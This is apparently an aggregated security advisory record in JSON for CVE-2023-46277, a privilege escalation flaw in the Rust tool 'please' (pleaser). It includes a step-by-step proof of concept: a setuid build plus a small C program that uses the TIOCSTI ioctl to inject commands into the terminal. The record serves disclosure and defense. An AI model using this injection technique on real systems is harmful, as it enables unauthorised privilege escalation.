{"id":"CVE-2023-46277","aliases":["GHSA-cgf8-h3fp-h956","RUSTSEC-2023-0066"],"url":"https://o3.security/vulnerability/CVE-2023-46277","summary":"Pleaser privilege escalation vulnerability","details":"please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test && cargo build --release\n$ echo \"[${USER}_as_nobody]\"$'\\nname='\"${USER}\"$'\\ntarget=nobody\\nrule=.*\\nrequire_pass=false' | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c\n#include <sys/ioctl.h>\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.\n","published":"2023-10-20T00:00:00Z","modified":"2026-10-28T02:30:27.111391130Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"crates.io","name":"pleaser","fixedVersion":null}],"fix":{"url":"https://github.com/rustsec/advisory-db/pull/1798","label":"rustsec/advisory-db#1798"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/46xxx/CVE-2023-46277.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46277"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2023-0066.html"},{"type":"REPORT","url":"https://gitlab.com/edneville/please/-/issues/13"},{"type":"FIX","url":"https://github.com/rustsec/advisory-db/pull/1798"},{"type":"FIX","url":"https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575"},{"type":"PACKAGE","url":"https://gitlab.com/edneville/please"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:27.111391130Z"}}